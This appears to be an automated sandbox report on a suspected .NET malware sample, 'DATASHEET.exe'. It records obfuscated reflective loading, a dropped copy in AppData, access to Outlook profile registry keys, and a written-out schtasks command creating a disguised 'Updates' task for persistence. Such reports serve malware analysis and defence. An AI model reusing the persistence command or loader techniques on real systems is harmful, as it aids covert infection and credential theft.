Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mpclient.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: version.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wmitomi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll

Source: C:\Users\user\Desktop\DATASHEET.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\DATASHEET.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Outlook\Profiles

Jump to behavior

Source: DATASHEET.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: DATASHEET.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: DATASHEET.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: Aezq.pdb source: DATASHEET.exe, jwvzGqkYNEejno.exe.0.dr
Source:	Binary string: Aezq.pdbSHA256 source: DATASHEET.exe, jwvzGqkYNEejno.exe.0.dr

Data Obfuscation

.NET source code contains potential unpacker

Source: DATASHEET.exe, MainForm.cs	.Net Code: InitializeComponent System.AppDomain.Load(byte[])
Source: jwvzGqkYNEejno.exe.0.dr, MainForm.cs	.Net Code: InitializeComponent System.AppDomain.Load(byte[])
Source: 0.2.DATASHEET.exe.7dc0000.5.raw.unpack, AMPI2OQw9LBFRkO0xI.cs	.Net Code: xIvA5etdBM System.Reflection.Assembly.Load(byte[])
Source: 0.2.DATASHEET.exe.3f39880.1.raw.unpack, AMPI2OQw9LBFRkO0xI.cs	.Net Code: xIvA5etdBM System.Reflection.Assembly.Load(byte[])

Source: DATASHEET.exe

Static PE information: 0xAF0C1E0E [Tue Jan 23 19:42:06 2063 UTC]

Source: C:\Users\user\Desktop\DATASHEET.exe	Code function: 0_2_02B2E768 push esp; retf	0_2_02B2E769
Source: C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe	Code function: 9_2_0281C607 push es; iretd	9_2_0281C616
Source: C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe	Code function: 9_2_0281C488 push cs; iretd	9_2_0281C496
Source: C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe	Code function: 9_2_0281AAF6 push ecx; iretd	9_2_0281AAF7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 13_2_016D0C55 push edi; retf	13_2_016D0C7A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 13_2_06D25FEB push FFFFFF8Bh; iretd	13_2_06D25FF3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 13_2_06D2E8FF push ss; retf	13_2_06D2E902

Source: DATASHEET.exe	Static PE information: section name: .text entropy: 7.976677778688236
Source: jwvzGqkYNEejno.exe.0.dr	Static PE information: section name: .text entropy: 7.976677778688236

Source: 0.2.DATASHEET.exe.7dc0000.5.raw.unpack, DigqPdeF2Byu3IrVKo.cs	High entropy of concatenated method names: 'JxN53qQlS', 'NISTSKwmx', 'xcFbKNDfg', 'C68OZOY2g', 'pDBKPvgAV', 'Hht2feTo8', 'TgMBuPNLEeHMTXNgCB', 'eDTgBYHnboRfP1LSUc', 'sxSwcKHp1', 'HH2vxif6W'
Source: 0.2.DATASHEET.exe.7dc0000.5.raw.unpack, QE8Pv79ocLOef81dvY.cs	High entropy of concatenated method names: 'VMcF3hOvBq', 'pC7FJgjNW9', 'w0AF5Xuj0n', 'fWtFTcwAKl', 'zh2FDes6ta', 'ucLFbI2B4R', 'zbfFOdkG7v', 'eVqFC2Z7yV', 'g9aFKvZNQv', 'EIPF2IsxFs'
Source: 0.2.DATASHEET.exe.7dc0000.5.raw.unpack, KaFIOWXPcSfy2l8Ts8.cs	High entropy of concatenated method names: 'c69uCjUJ18', 'O5KuKOpRcP', 'qjduVLPRyq', 'SpKule8AEq', 'PtWuZxLCPZ', 'Bl8u075qXQ', 'MFau4NDCYa', 'wWnunOsrfh', 'HTLuh9sZ83', 'EI0uLpMKgv'
Source: 0.2.DATASHEET.exe.7dc0000.5.raw.unpack, MjyTDcEikv92nHoltS.cs	High entropy of concatenated method names: 'Yd6thm19yV', 'vlVtgtqpp4', 'xrmtEKpAYW', 'qo0tSU898H', 'H7ntlhpEu1', 'd5utprsGJH', 'vSOtZat6Ga', 'q05t0eihnI', 'txCtmpWNER', 'R4qt49qhh2'
Source: 0.2.DATASHEET.exe.7dc0000.5.raw.unpack, BaZ0iUKAwYh83l1Hf2.cs	High entropy of concatenated method names: 'TLWaTKgaHe', 'IPkabuA9lr', 'HYOaCWVtY9', 'Y1NaKhF1j2', 'kR9atuZpsB', 'oLDaYdl2t0', 'ASbaBvWDQn', 'QdAawHake1', 'Ajna6ARRTZ', 'chiavut4Zb'
Source: 0.2.DATASHEET.exe.7dc0000.5.raw.unpack, QEDDsgrr25uEW9CoI0.cs	High entropy of concatenated method names: 'Dispose', 'ahIyGFPn0e', 'KvcelSfCaX', 'nN1O57iB2N', 'lWoyUKAyvy', 'SD4yzK9j7w', 'ProcessDialogKey', 'ewtes0f1iv', 'NZ4eyweA2X', 'rWmeeyAqiV'
Source: 0.2.DATASHEET.exe.7dc0000.5.raw.unpack, I8scn9C6GIjEcHxArD.cs	High entropy of concatenated method names: 'Iy5rEZVLAX', 'oi9rS2Kk19', 'HKjrinkIsZ', 'NpTrM99Dxd', 'y45rcGqjre', 'h61rPTaoUe', 'hbcrkOZUjQ', 'k5IrqrvIte', 'TEsrGJR8gf', 'rtOrUdGu4E'
Source: 0.2.DATASHEET.exe.7dc0000.5.raw.unpack, wJhbaDyAPGMNfOyR5ae.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'uqix6g5Mt4', 'nvxxvDsVfu', 'obkxHepAhW', 'fmxxxeoesG', 'sB2xj3njdP', 'TGqx1TSvgr', 'qqsxdtMtA0'
Source: 0.2.DATASHEET.exe.7dc0000.5.raw.unpack, V3cqOZAesE1EmDvXZL.cs	High entropy of concatenated method names: 'VCpyF8scn9', 'rGIyQjEcHx', 'YAwyfYh83l', 'vHfyN2n1Ji', 'UcuytFoPo5', 'RXbyYXbsAJ', 'bT1s7c2P3hKm6qUSmI', 'JOFMuIdCdR6mv8L46P', 'e0Zyy3WOKc', 'NiDyIifsMJ'
Source: 0.2.DATASHEET.exe.7dc0000.5.raw.unpack, jnBHGqysYMgdlnYN3N2.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'U0kvL6V9oh', 'Om4vg7oeVB', 'nUQvX0cxXy', 'd1HvEnZqXR', 'DvuvSnoPFN', 'iAuviD2evO', 'ViXvMFLIFA'
Source: 0.2.DATASHEET.exe.7dc0000.5.raw.unpack, GCPTAxP9imPhZTyIf3.cs	High entropy of concatenated method names: 'iIfBqDAghg', 'VIpBUckUAk', 'Foqws3lhEd', 'u3owyBXHcq', 'tGSBLgv2dE', 'YZHBghTAxG', 'nVqBX791qC', 'NZ6BEKxgEG', 'wCQBSjr2oo', 'eq6BiHetc3'
Source: 0.2.DATASHEET.exe.7dc0000.5.raw.unpack, FYAeKLMA8yAgvrHoxk.cs	High entropy of concatenated method names: 'HUyBfJZPwj', 'owCBNCOe5n', 'ToString', 'zMOB72DP5l', 'H66BrC2x51', 'oRbBaWmVeg', 'MPVBoYWDdt', 'OnGB8vuRWy', 'dHEBFAFfWr', 'q1pBQySFZ6'
Source: 0.2.DATASHEET.exe.7dc0000.5.raw.unpack, KNgHN0zLKC1Jc463uN.cs	High entropy of concatenated method names: 'NsyvblJvOt', 'Rx8vCIRKlo', 'V4JvKPXiAr', 'YQfvVabFn7', 'vVSvldMgnA', 'jTxvZ6kKrU', 'NOlv0CSVri', 'zDVvdI9w35', 'Vjqv3hCUDC', 'nX4vJj6ywD'
Source: 0.2.DATASHEET.exe.7dc0000.5.raw.unpack, PEVbtayIbmv8k5aL9ws.cs	High entropy of concatenated method names: 'gPGHUbJPdN', 'WNlHz4LwOK', 'V7AxsZ67VX', 'zo2r9fKKfl4DrSF1V0R', 'WjodYbKDLA0IRG5b8LV', 'vDUhQQKbRaPEpp12ZI8', 'xGiCySKcsj4fHQfGRu5'
Source: 0.2.DATASHEET.exe.7dc0000.5.raw.unpack, M1JiK32aM0A4fccuFo.cs	High entropy of concatenated method names: 'y1foD4uv47', 'CUaoOROQ10', 'eAtapkHkcH', 'uaqaZWTTXp', 'dPIa0v8SIt', 'AguamgVOQ5', 'b0Oa4DJ7EV', 'udTanCp6ol', 'Wvua9nOJWF', 'qlFahG8Z8C'
Source: 0.2.DATASHEET.exe.7dc0000.5.raw.unpack, TcVXB1yyf2c1jLF8p1a.cs	High entropy of concatenated method names: 'NVTvUFeThe', 'wvsvzXNiTR', 'xerHs1gEcH', 'YtvHyfiNFA', 'H8yHels5Eh', 'IreHIYmKIW', 'UerHAokRtg', 'G0FHRvDcu5', 'oToH78jMq1', 'g5XHr4TLqx'
Source: 0.2.DATASHEET.exe.7dc0000.5.raw.unpack, Vo5EXbVXbsAJDfhySe.cs	High entropy of concatenated method names: 'bhw8Rr76ve', 'PWu8r7n0lp', 'w4g8o82XyC', 'Ntc8FLng2d', 'OK18QbbVWb', 'U0Moc97UIC', 'hbGoPMPt2V', 'CRAokcSAyA', 'WEfoq8gf7T', 'QrroGLKKeV'
Source: 0.2.DATASHEET.exe.7dc0000.5.raw.unpack, Jmbqtl4LqmH0YgMqIa.cs	High entropy of concatenated method names: 'eCbF7NwAZL', 'nrRFacyO1R', 'htLF81pCpb', 'qoG8UPvi8S', 'yjP8zq0sLR', 'paLFsEr8Iq', 'VtUFyjG3QZ', 'A8eFeaRgYb', 'GcYFIqMOs6', 'kw7FAUvFI0'
Source: 0.2.DATASHEET.exe.7dc0000.5.raw.unpack, WnZO5RiJnhLBD1MFiU.cs	High entropy of concatenated method names: 'ToString', 'jg8YL2pgcw', 'tvfYlpfhXC', 'MUJYpPTXXM', 'wjbYZ6t7EC', 'PJcY0KMR6u', 'ak1YmLUmv2', 'rbMY4eIywf', 'QDHYnfjD05', 'BY1Y91KJhf'
Source: 0.2.DATASHEET.exe.7dc0000.5.raw.unpack, bAqiVXUX8tCLRpSKjC.cs	High entropy of concatenated method names: 'ibQvasnsRQ', 'MaOvoROFsV', 'xIfv8Vix6I', 'lIRvFuyJIi', 'Fxfv6SBQxa', 'VtHvQtD5RN', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.DATASHEET.exe.7dc0000.5.raw.unpack, PtyqXWkddyhIFPn0eW.cs	High entropy of concatenated method names: 'hqi6tDGZ6t', 'bni6BgmThY', 'DSU66cAymH', 'OoU6HRC9WX', 'd6M6j5Kidp', 'gCH6dPPKaG', 'Dispose', 'Edhw7l2Vy6', 'a0mwrFDH4S', 'jvhwa1taOJ'
Source: 0.2.DATASHEET.exe.7dc0000.5.raw.unpack, AMPI2OQw9LBFRkO0xI.cs	High entropy of concatenated method names: 'EoVIR7NLjO', 'XegI7leAnr', 'aehIrgvL7Z', 'QxtIaKlDIS', 'shTIocCNSj', 'SA3I8oZt3U', 'IsWIF1nS3W', 'B82IQ9SCDr', 'kUCIWajXZM', 'PwHIfMakiv'
Source: 0.2.DATASHEET.exe.7dc0000.5.raw.unpack, o0f1ivG9Z4weA2XwWm.cs	High entropy of concatenated method names: 'jqI6VBEMya', 'M866l9jpUy', 'mSh6pDMcQa', 'd8h6Z0uXda', 'b7m60x9WZL', 'phi6mxs5E5', 'GVb64xQEcF', 'CeD6nIQTgF', 'YbO698CaOa', 'fyx6hXmHFR'
Source: 0.2.DATASHEET.exe.3f39880.1.raw.unpack, DigqPdeF2Byu3IrVKo.cs	High entropy of concatenated method names: 'JxN53qQlS', 'NISTSKwmx', 'xcFbKNDfg', 'C68OZOY2g', 'pDBKPvgAV', 'Hht2feTo8', 'TgMBuPNLEeHMTXNgCB', 'eDTgBYHnboRfP1LSUc', 'sxSwcKHp1', 'HH2vxif6W'
Source: 0.2.DATASHEET.exe.3f39880.1.raw.unpack, QE8Pv79ocLOef81dvY.cs	High entropy of concatenated method names: 'VMcF3hOvBq', 'pC7FJgjNW9', 'w0AF5Xuj0n', 'fWtFTcwAKl', 'zh2FDes6ta', 'ucLFbI2B4R', 'zbfFOdkG7v', 'eVqFC2Z7yV', 'g9aFKvZNQv', 'EIPF2IsxFs'
Source: 0.2.DATASHEET.exe.3f39880.1.raw.unpack, KaFIOWXPcSfy2l8Ts8.cs	High entropy of concatenated method names: 'c69uCjUJ18', 'O5KuKOpRcP', 'qjduVLPRyq', 'SpKule8AEq', 'PtWuZxLCPZ', 'Bl8u075qXQ', 'MFau4NDCYa', 'wWnunOsrfh', 'HTLuh9sZ83', 'EI0uLpMKgv'
Source: 0.2.DATASHEET.exe.3f39880.1.raw.unpack, MjyTDcEikv92nHoltS.cs	High entropy of concatenated method names: 'Yd6thm19yV', 'vlVtgtqpp4', 'xrmtEKpAYW', 'qo0tSU898H', 'H7ntlhpEu1', 'd5utprsGJH', 'vSOtZat6Ga', 'q05t0eihnI', 'txCtmpWNER', 'R4qt49qhh2'
Source: 0.2.DATASHEET.exe.3f39880.1.raw.unpack, BaZ0iUKAwYh83l1Hf2.cs	High entropy of concatenated method names: 'TLWaTKgaHe', 'IPkabuA9lr', 'HYOaCWVtY9', 'Y1NaKhF1j2', 'kR9atuZpsB', 'oLDaYdl2t0', 'ASbaBvWDQn', 'QdAawHake1', 'Ajna6ARRTZ', 'chiavut4Zb'
Source: 0.2.DATASHEET.exe.3f39880.1.raw.unpack, QEDDsgrr25uEW9CoI0.cs	High entropy of concatenated method names: 'Dispose', 'ahIyGFPn0e', 'KvcelSfCaX', 'nN1O57iB2N', 'lWoyUKAyvy', 'SD4yzK9j7w', 'ProcessDialogKey', 'ewtes0f1iv', 'NZ4eyweA2X', 'rWmeeyAqiV'
Source: 0.2.DATASHEET.exe.3f39880.1.raw.unpack, I8scn9C6GIjEcHxArD.cs	High entropy of concatenated method names: 'Iy5rEZVLAX', 'oi9rS2Kk19', 'HKjrinkIsZ', 'NpTrM99Dxd', 'y45rcGqjre', 'h61rPTaoUe', 'hbcrkOZUjQ', 'k5IrqrvIte', 'TEsrGJR8gf', 'rtOrUdGu4E'
Source: 0.2.DATASHEET.exe.3f39880.1.raw.unpack, wJhbaDyAPGMNfOyR5ae.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'uqix6g5Mt4', 'nvxxvDsVfu', 'obkxHepAhW', 'fmxxxeoesG', 'sB2xj3njdP', 'TGqx1TSvgr', 'qqsxdtMtA0'
Source: 0.2.DATASHEET.exe.3f39880.1.raw.unpack, V3cqOZAesE1EmDvXZL.cs	High entropy of concatenated method names: 'VCpyF8scn9', 'rGIyQjEcHx', 'YAwyfYh83l', 'vHfyN2n1Ji', 'UcuytFoPo5', 'RXbyYXbsAJ', 'bT1s7c2P3hKm6qUSmI', 'JOFMuIdCdR6mv8L46P', 'e0Zyy3WOKc', 'NiDyIifsMJ'
Source: 0.2.DATASHEET.exe.3f39880.1.raw.unpack, jnBHGqysYMgdlnYN3N2.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'U0kvL6V9oh', 'Om4vg7oeVB', 'nUQvX0cxXy', 'd1HvEnZqXR', 'DvuvSnoPFN', 'iAuviD2evO', 'ViXvMFLIFA'
Source: 0.2.DATASHEET.exe.3f39880.1.raw.unpack, GCPTAxP9imPhZTyIf3.cs	High entropy of concatenated method names: 'iIfBqDAghg', 'VIpBUckUAk', 'Foqws3lhEd', 'u3owyBXHcq', 'tGSBLgv2dE', 'YZHBghTAxG', 'nVqBX791qC', 'NZ6BEKxgEG', 'wCQBSjr2oo', 'eq6BiHetc3'
Source: 0.2.DATASHEET.exe.3f39880.1.raw.unpack, FYAeKLMA8yAgvrHoxk.cs	High entropy of concatenated method names: 'HUyBfJZPwj', 'owCBNCOe5n', 'ToString', 'zMOB72DP5l', 'H66BrC2x51', 'oRbBaWmVeg', 'MPVBoYWDdt', 'OnGB8vuRWy', 'dHEBFAFfWr', 'q1pBQySFZ6'
Source: 0.2.DATASHEET.exe.3f39880.1.raw.unpack, KNgHN0zLKC1Jc463uN.cs	High entropy of concatenated method names: 'NsyvblJvOt', 'Rx8vCIRKlo', 'V4JvKPXiAr', 'YQfvVabFn7', 'vVSvldMgnA', 'jTxvZ6kKrU', 'NOlv0CSVri', 'zDVvdI9w35', 'Vjqv3hCUDC', 'nX4vJj6ywD'
Source: 0.2.DATASHEET.exe.3f39880.1.raw.unpack, PEVbtayIbmv8k5aL9ws.cs	High entropy of concatenated method names: 'gPGHUbJPdN', 'WNlHz4LwOK', 'V7AxsZ67VX', 'zo2r9fKKfl4DrSF1V0R', 'WjodYbKDLA0IRG5b8LV', 'vDUhQQKbRaPEpp12ZI8', 'xGiCySKcsj4fHQfGRu5'
Source: 0.2.DATASHEET.exe.3f39880.1.raw.unpack, M1JiK32aM0A4fccuFo.cs	High entropy of concatenated method names: 'y1foD4uv47', 'CUaoOROQ10', 'eAtapkHkcH', 'uaqaZWTTXp', 'dPIa0v8SIt', 'AguamgVOQ5', 'b0Oa4DJ7EV', 'udTanCp6ol', 'Wvua9nOJWF', 'qlFahG8Z8C'
Source: 0.2.DATASHEET.exe.3f39880.1.raw.unpack, TcVXB1yyf2c1jLF8p1a.cs	High entropy of concatenated method names: 'NVTvUFeThe', 'wvsvzXNiTR', 'xerHs1gEcH', 'YtvHyfiNFA', 'H8yHels5Eh', 'IreHIYmKIW', 'UerHAokRtg', 'G0FHRvDcu5', 'oToH78jMq1', 'g5XHr4TLqx'
Source: 0.2.DATASHEET.exe.3f39880.1.raw.unpack, Vo5EXbVXbsAJDfhySe.cs	High entropy of concatenated method names: 'bhw8Rr76ve', 'PWu8r7n0lp', 'w4g8o82XyC', 'Ntc8FLng2d', 'OK18QbbVWb', 'U0Moc97UIC', 'hbGoPMPt2V', 'CRAokcSAyA', 'WEfoq8gf7T', 'QrroGLKKeV'
Source: 0.2.DATASHEET.exe.3f39880.1.raw.unpack, Jmbqtl4LqmH0YgMqIa.cs	High entropy of concatenated method names: 'eCbF7NwAZL', 'nrRFacyO1R', 'htLF81pCpb', 'qoG8UPvi8S', 'yjP8zq0sLR', 'paLFsEr8Iq', 'VtUFyjG3QZ', 'A8eFeaRgYb', 'GcYFIqMOs6', 'kw7FAUvFI0'
Source: 0.2.DATASHEET.exe.3f39880.1.raw.unpack, WnZO5RiJnhLBD1MFiU.cs	High entropy of concatenated method names: 'ToString', 'jg8YL2pgcw', 'tvfYlpfhXC', 'MUJYpPTXXM', 'wjbYZ6t7EC', 'PJcY0KMR6u', 'ak1YmLUmv2', 'rbMY4eIywf', 'QDHYnfjD05', 'BY1Y91KJhf'
Source: 0.2.DATASHEET.exe.3f39880.1.raw.unpack, bAqiVXUX8tCLRpSKjC.cs	High entropy of concatenated method names: 'ibQvasnsRQ', 'MaOvoROFsV', 'xIfv8Vix6I', 'lIRvFuyJIi', 'Fxfv6SBQxa', 'VtHvQtD5RN', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.DATASHEET.exe.3f39880.1.raw.unpack, PtyqXWkddyhIFPn0eW.cs	High entropy of concatenated method names: 'hqi6tDGZ6t', 'bni6BgmThY', 'DSU66cAymH', 'OoU6HRC9WX', 'd6M6j5Kidp', 'gCH6dPPKaG', 'Dispose', 'Edhw7l2Vy6', 'a0mwrFDH4S', 'jvhwa1taOJ'
Source: 0.2.DATASHEET.exe.3f39880.1.raw.unpack, AMPI2OQw9LBFRkO0xI.cs	High entropy of concatenated method names: 'EoVIR7NLjO', 'XegI7leAnr', 'aehIrgvL7Z', 'QxtIaKlDIS', 'shTIocCNSj', 'SA3I8oZt3U', 'IsWIF1nS3W', 'B82IQ9SCDr', 'kUCIWajXZM', 'PwHIfMakiv'
Source: 0.2.DATASHEET.exe.3f39880.1.raw.unpack, o0f1ivG9Z4weA2XwWm.cs	High entropy of concatenated method names: 'jqI6VBEMya', 'M866l9jpUy', 'mSh6pDMcQa', 'd8h6Z0uXda', 'b7m60x9WZL', 'phi6mxs5E5', 'GVb64xQEcF', 'CeD6nIQTgF', 'YbO698CaOa', 'fyx6hXmHFR'

Source: C:\Users\user\Desktop\DATASHEET.exe

File created: C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe

Jump to dropped file

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\Desktop\DATASHEET.exe

Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\jwvzGqkYNEejno" /XML "C:\Users\user\AppData\Local\Temp\tmp8AFA.tmp"

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Users\user\Desktop\DATASHEET.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
